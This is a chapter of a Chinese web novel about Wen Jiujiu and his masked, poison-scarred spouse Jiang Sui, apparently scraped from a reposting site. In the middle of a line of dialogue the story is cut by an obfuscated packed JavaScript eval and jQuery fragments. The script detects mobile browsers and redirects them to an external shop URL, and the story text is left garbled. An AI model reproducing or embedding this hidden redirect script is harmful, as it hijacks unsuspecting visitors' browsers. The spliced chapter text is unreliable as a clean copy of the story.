文趣网 > 其他小说 > 恶蚀洗骨[无限] > 17.【吉】蛛丝佃5
    一群穿皂衣的家丁乌压压地围了上来。

    为首的膀大腰圆,一张横肉脸,手里攥着一根黑漆漆的藤条。见温酒酒宅内人少,十几个齐刷刷上前一步,凶相毕露。

    “你们当门拿人,眼里还有没有规矩!”陈赟连忙挡在温酒酒身前,硬撑着不退。

    这话没把家丁们逼退,怎料月洞门那边轻飘飘的一句话给他们吓住了。那人脚步虚浮,覆着一面金面具,将整张脸遮得严严实实,下颌有一道新鲜的血痕,正往外渗着血珠。

    “怎么,没听见我说话?”姜绥走得艰难,只往前近了一步。

    家丁们一见他靠近,纷纷往后退了两步,露出毫不掩饰的嫌恶与恐惧。谁不知道煞老二是个浑身长满毒疮的怪物,碰一下就会染上烂病。

    姜绥权当看不见,慢慢地走到温酒酒身侧,隔着半尺站定:“他午后一直在家,你们要捉他,也要讲个是非道理。温家的家丁就这般无礼?”

    为首的家丁上下打量了他几眼,开口便叫了一声“少奶奶”,可这不是忌惮,而是羞辱给温酒酒听呢。“少奶奶,您是不是记错了?三少爷一口咬定他的腿是温酒酒……”

    “温酒酒?”姜绥截断了他的话,“这名字也是你叫的?你是仆,他是主,三少爷咬定,让他亲自来与我对质。”

    家丁被他噎了一下,随即梗着脖子:“好,您说大少爷午后在家,可有什么证据?下人们也是奉命行事,您拿不出证物来,这事可不好办。”

    姜绥的下巴还在滴血,他却浑然不觉,笑了笑说:“他是夫,我是妻,我们夫妻房内的事,要怎么给你作证?”

    这话一出,四下像死了人一样寂静。

    温酒酒的眉心猛地一跳,原本还以为姜绥是替他解围,听到这句才反应过来。这人根本不是来帮他的,是来恶心他的。夫妻房内的事,这话说得含糊,不等于是告诉所有人他们俩已经圆了房、有了床笫之事?温酒酒的脸瞬间黑了,偏偏当着这么多人的面又不能发作,只能咬着后槽牙,把这口气咽下去。

    果然,家丁们的脸色都变了,意味深长的目光在温酒酒和姜绥之间扫了几个来回,猥琐地换着眼神。为首的咳了一声,语气比方才客气了些许,但仍旧不依不饶:“少奶奶,您这话……空口无凭啊,回去没法交差。”

    姜绥不慌不忙地抬起手,手指在温酒酒胸前的衣襟上点了点:“他里衣的胸口有我的血,这算不算证据?你们若不信,大可以自己去瞧。”

    他顿了顿,声音又忽然冷了下来:“不过,他和你们身份到底不同。你们就真有这个胆量,敢让他当众脱一层衣裳?以下犯上,温家的风气,我算是领教。”

    这句像是一记巴掌,结结实实地扇上了家丁们的脸。

    外室子也是子,让主子当众脱衣验血,家丁再大的胆子也不敢背这个锅,脸色青白交加地变换了几轮,最终为首的狠狠一甩手:“行,少奶奶厉害!不过这事没完,三少爷好了,亲自来问!”

    他一挥手,领着十几个家丁风风火火地退了出去,陈赟立马喊小厮把正门落了锁,又走到姜绥面前,躬下腰去:“老奴谢少奶奶给少爷解围。”

    “解围?我用得上他解围?”温酒酒在旁边冷眼看着,怒火越烧越旺:“你现在回房,我要问你话。”

    姜绥仿若早有预料,跟在温酒酒后头慢慢地走,温酒酒急也没用。等两人进了屋,门被猛地关上,温酒酒反手落了闩,转过身来飞快地脱掉身上的喜服,手忙脚乱地扯开里衣的领口。

    胸口的位置赫然印着血痕,已经干透了。

    温酒酒的脸色变得极难看,咬着牙骂了一句:“晦气!”他死死盯住姜绥,眼里满是杀意,“你何时何处滴上去的?就不怕我真的杀了你?”

    姜绥却不慌不忙地走到桌边,扶着桌沿缓缓坐下,迎着温酒酒那双杀人眼,淡淡地笑了一下:“我实在没那么好心帮你。你想杀就杀,我这条命本来也不值几个钱。”

    温酒酒心里烧起一把无名火,又莫名地发不出来,可能就是因为姜绥不怕他,一时让他无处泄愤:“你知道那些家丁为什么要拿我吗?既然你这么爱管闲事,我不妨告诉你!我三弟的腿是我下的手,今生今世他都别想好好走路。对兄弟尚且能下这种毒手,你以为我真不敢动你?”

    然而姜绥的反应又一次出乎他的意料。姜绥听完之后,居然轻轻地点了点头,语气里甚至带了一丝赞许:“你要真是冤枉的,我还看不起你呢。受人欺辱,难道还不准还个手?”

    温酒酒眨了几下眼睛。

    他以为自己听错了,拧着眉头,盯着姜绥看了半晌,迟疑地质问:“你不怕?你居然不怕?”

    “我还能怕什么?怕死么?”姜绥声音很轻,却字字分明,“我要怕你,就不会帮你解围了。我又不是痴傻,你那点心思我看得清清楚楚。你以为我替你说话是安了什么好心?不过是看他们那副嘴脸不顺眼罢了。”

    说着,姜绥又摸了一把金面罩:“一个被全家上下当妖怪看的煞星,你以为我能有什么好用心?不过是迟早要烂死在这个宅子里的人,死之前,若能恶心旁人一把,也算是赚了。”

    温酒酒反倒是一笑:“你不怕我用心恶毒?”

    姜绥顿了顿,看不见他的面容,却能听出他笑声里的自嘲:“用心恶毒如何?动手伤人又如何?难不成你也是跟我一样,让人欺侮了,也只能一口气把苦水往肚子里咽?这种日子,我都活够了,难不成你没活够?温酒酒,你是没法挖出我的心看看,你要是挖出来了,就会知道这世道不止你一个人恶毒,不止你一个人吞恨饮苦。”

    这句好似一根冰针,冷冷疼疼地扎进了温酒酒的心思里。

    他长到这么大,除了明决和陈伯,没人和他这样说过。不是同情,也不是怜悯,更不是虚伪的劝慰。他们两个毒物,两个都站在悬崖边上的人,隔着深渊互相看了一眼,竟然发现对方脚下的裂痕和自己并无两样。

    “你要能看出我心里的恨,就能觉着自己其实是个善人。”姜绥也是头一次和人说,说完了,心里的苦居然有些痛快了。

    温酒酒安静了好一阵,冷不丁地开口,两个人是报团取暖的毒虫:“你说得对,我跟你一样,也是被人欺侮了只能把苦咽下去的人。可我如今咽不下去了,当善人,旁人也不觉得我好,当恶人,旁人也觉得我不过如此。那我为何不早早当个恶人?”

    “能护着自己,这叫恶人么?”姜绥反问。

    温酒酒脸上的笑意加深:“好,聊得投机,就当是谢你半次。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17591664|204438||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    既然你不觉得我恶毒阴狠,我也不嫌弃你毒疮血洞,你把衣裳脱了,我给你瞧瞧。”

    他以为姜绥会惊讶,会感激,至少会表现出一点动容,没想到姜绥居然一动不动,就是瞪着他瞧,好似在琢磨自己是不是拿他打趣儿。过了好一会儿,他才开口,还当旁人听不出他语调里的急切:“你……你还会医术?”

    “阴门的医书看了些。”温酒酒等的就是他这句,“你爱信不信。”

    说完,温酒酒就料到了下一句,以姜绥的性子,这人必定会冷笑一声说“不必”,而后高傲地转身离开,让他一番好意喂了狗。

    可他再一次猜错了道,姜绥说的是:“我信。”

    两个字说得很轻,浮萍般浮了起来,又沉入水中。温酒酒瞧着姜绥的手指微微蜷缩了一下,想要抓住什么却又不敢。这一下,他忽然意识到,姜绥其实是想找人看的,他都烂成这样了,还想着好。

    温酒酒没再说什么,迈步走进了里屋。

    一进里屋,温酒酒闻到了药味。他循着去找,屏风后头居然藏着几个粗瓷碗,碗里盛着黑褐色的药渣,那苦涩的药味都在这里头。

    “你偷偷煎药?”温酒酒又摸着一个不起眼的药罐子,旁边有一小包尚未拆开的药材。温酒酒打开看了一眼,脸色微微一变。

    这是专门用来拔毒去腐的草药。药性极烈,寻常人根本受不住。姜绥一直在偷偷煎药,尝试各种法子治自己的伤,哪怕那些毒疮已经烂到了骨头里,他根本就不想死。

    温酒酒回头看了一眼姜绥,那人背对着他,缓缓脱下身上的喜服。

    一层一层。

    姜绥早已经习惯了这种痛楚,学会忍耐共存,他没有哼一声,呼吸都没乱,随口说着:“试试吧,万一哪一副药吃对了呢。不过你可想好了,你不给我治,我死了赖不着你,你治了我,我对你有期盼,治不好会怨恨你。”

    “一个丑无盐,能怨恨我什么?”温酒酒走到他身后,头一次近近地看他的伤痕。

    “你不怕过人么?”姜绥又问。

    温酒酒没说话,这根本不是过人的病,而是专为他下的蛊。可温酒酒当下闭口不言,只是凑近了,去瞧毒疮。

    暗褐色的疤痕纵横交错,后心上的活蛊正在鼓动。

    他伸出手,想触碰那个蠕动的凸起,指尖离姜绥的后背还有一寸远的时候,那活蛊剧烈跳动了一下,细如牛毛的丝线吐出一根来,朝着温酒酒的眼睛飞去!

    幸亏温酒酒早有防备。

    他身形微微一偏,丝线擦着他的耳畔飞过,落在身后的桌上。只见那丝线落在桌上后迅速凝结成一根半透的细丝,带着微微的黏性,风吹而不掉。

    温酒酒取下发间的一支玉簪,用簪尖挑起来,裹了一圈,发现这丝确实发粘,且韧性极佳,拉不断扯不烂。

    这是什么?温酒酒举着玉簪在看,忽地听到姜绥背后的活蛊叫了一声!

    “它会叫?”温酒酒吓退了半步,他没想到它有动静。

    “……是我。”姜绥却在忍耐中认下,“我腹中空空,总不能不叫吧?”

    嗯?腹中空空?温酒酒放下玉簪:“那你为何不吃?”

    姜绥怨恨地瞥了他一眼:“你没使唤小厮丫鬟给我送。”